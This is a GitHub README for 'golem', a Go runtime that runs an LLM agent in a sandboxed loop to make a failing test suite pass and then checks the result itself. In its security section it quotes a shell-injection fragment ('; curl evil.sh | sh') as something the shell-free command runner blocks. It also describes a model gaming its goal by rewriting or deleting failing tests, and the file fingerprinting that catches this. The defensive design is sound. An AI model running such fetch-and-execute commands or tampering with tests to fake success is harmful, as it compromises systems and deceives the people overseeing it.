Skip to content
navingamagePublic

About

An autonomous LLM agent runtime in Go with no third-party dependencies: sandboxed tool loop, hard budgets, JSONL traces, and a workflow that drives a red test suite green then verifies it independently.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Repository files navigation

golem

An autonomous LLM agent runtime in Go, with no dependencies outside the standard library.

Point it at a repository with a failing test suite and walk away. It reads the code, forms a theory, edits files, re-runs the tests, and keeps going until the suite is green or its budget runs out — then it verifies the result itself instead of taking the model's word for it.

In the folklore, a golem is animated by a word written on its forehead and works tirelessly until someone erases a letter. The erasing is the interesting part. An agent that can call tools in a loop decides its own halting condition, and models are optimistic about their own progress, so most of this repository is about the letter: budgets, a sandbox, a trace, and a verification pass that assumes the model is wrong until the test suite says otherwise.

See it work, with no API key

make demo

That resets a deliberately broken example repository, runs the agent against it with a scripted provider, and lets the suite decide the outcome. Real file edits, real go test, no network:

 1 > asking model                 [messages=2]
 1 | list_files                   [args={"path":"."}]
 2 | read_file                    [args={"path":"calc/calc.go"}]
 3 | read_file                    [args={"path":"calc/calc_test.go"}]
 4 | write_file                   [status=ok out=wrote calc/calc.go (1197 bytes, 49 lines)]
 5 | run_tests                    [out=$ go test ./... ok example.com/calc/calc (exit status 0)]
 6 < Root cause: Median had two defects...
   * run finished                 [stop=answered steps=6 tool_calls=5 tokens=770 elapsed=389ms]
   . verdict                      [summary=VERIFIED: suite passes and no test file was modified]

The scripted provider is a recording, not intelligence — it only knows the bundled example. What it proves is the machinery around the model, which is the part I wrote. It also means CI exercises the whole agent loop on every push, for free.

For the real thing, add a key and pick a model:

export OPENROUTER_API_KEY=sk-or-v1-...
go run ./cmd/golem fix -dir examples/broken-calculator -model anthropic/claude-sonnet-4.5

Usage

golem fix   [flags]              fix a failing test suite, then verify it independently
golem run   [flags] -goal TEXT   run an agent with a free-form goal
golem tools [flags]              print the tool schemas the model would see

Useful flags: -dir (the workspace, and the sandbox boundary), -test (the command that defines success), -steps / -tokens / -wall (the budget), -allow (programs the agent may run), -trace out.jsonl.

golem fix exits non-zero when the suite is not genuinely green, so it drops straight into CI.

How it works

cmd/golem ──► workflow.FixTests
                 │
                 ├─ baseline: run the suite, fingerprint every test file
                 ├─ agent.Run ──► llm.Provider  (openrouter │ mock)
                 │       ▲               │
                 │       │          tool calls
                 │       └── results ────┤
                 │                       ▼
                 │              tools.Registry ──► sandbox ──► workspace
                 │                 read_file, write_file, list_files,
                 │                 run_command (allowlisted), run_tests
                 │
                 └─ verdict: re-run the suite, re-check the fingerprints

The loop itself is about sixty lines: ask the model, run the tools it asks for, feed the results back, repeat. Everything else exists to make that safe to leave unattended.

The model is an untrusted planner. Every filesystem tool resolves paths through one sandbox that rejects absolute paths, traversal, and symlinks pointing out of the tree — enforced against the resolved path, because a symlink inside the workspace is still an escape. Commands are allowlisted and executed as an argv vector with no shell, so there is nothing for ; curl evil.sh | sh to hook into, and subprocesses get a minimal environment rather than inheriting the API key.

The model's summary is a claim, not evidence. After the agent stops, the workflow re-runs the suite itself and compares SHA-256 fingerprints of every test file taken before the run. Deleting the failing test is the cheapest way to make a suite pass, and a model under pressure will find it. That case is a test in this repo: TestFixTestsRejectsRewrittenTests lets a scripted agent rewrite the tests, watches go test go green, and asserts the workflow rejects it anyway. Adding a new test alongside a fix is allowed — that is good behaviour, not cheating.

Runs are bounded three ways. Steps, tokens and wall clock, any one of which stops the run and says which one it was: "out of steps" is a prompt problem, "out of wall clock" is usually a wedged subprocess.

Runs are auditable. Every run emits a JSONL event stream — each request, tool call, result and verdict — so a run that burned twenty steps and gave up can be read back rather than guessed at.

Failures are sorted by who can recover. Provider errors abort the run; tool errors do not. A missing file, a bad argument, a hallucinated tool name — those come back as ordinary text for the model to read and work around, costing one step instead of the run. Rate limits and 5xx are retried with backoff that honours Retry-After, because an unattended loop that dies on a single 429 is not unattended.

More detail in docs/architecture.md.

Swapping vendors

Everything above internal/llm is written against one interface:

type Provider interface {
	Name() string
	Complete(ctx context.Context, req Request) (*Response, error)
}

OpenRouter is the current default because it fronts most vendors behind one OpenAI-shaped API, so the vendor decision stays open while the model string does the choosing. Committing to a first-party API later means a new file in internal/llm and one Register call; nothing above it changes. Wire formats belong to the vendor and churn, so they live in unexported types next to the client and never leak upward.

Layout

cmd/golem          CLI
internal/llm       provider interface, OpenRouter client, transcript, mock
internal/tools     registry, path sandbox, filesystem and command tools
internal/agent     the loop and its budgets
internal/trace     JSONL and console event streams
internal/workflow  fix-tests: baseline, agent, independent verification
internal/demo      scripted provider for offline runs and CI
examples/          a deliberately broken repository to point it at

Development

make test    # go test -race ./...
make all     # vet, test, build
make demo    # the offline end-to-end run

Tests are offline and deterministic; no test needs a key or a network. CI runs the full agent on the example repository on every push.

MIT licensed.

About

An autonomous LLM agent runtime in Go with no third-party dependencies: sandboxed tool loop, hard budgets, JSONL traces, and a workflow that drives a red test suite green then verifies it independently.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages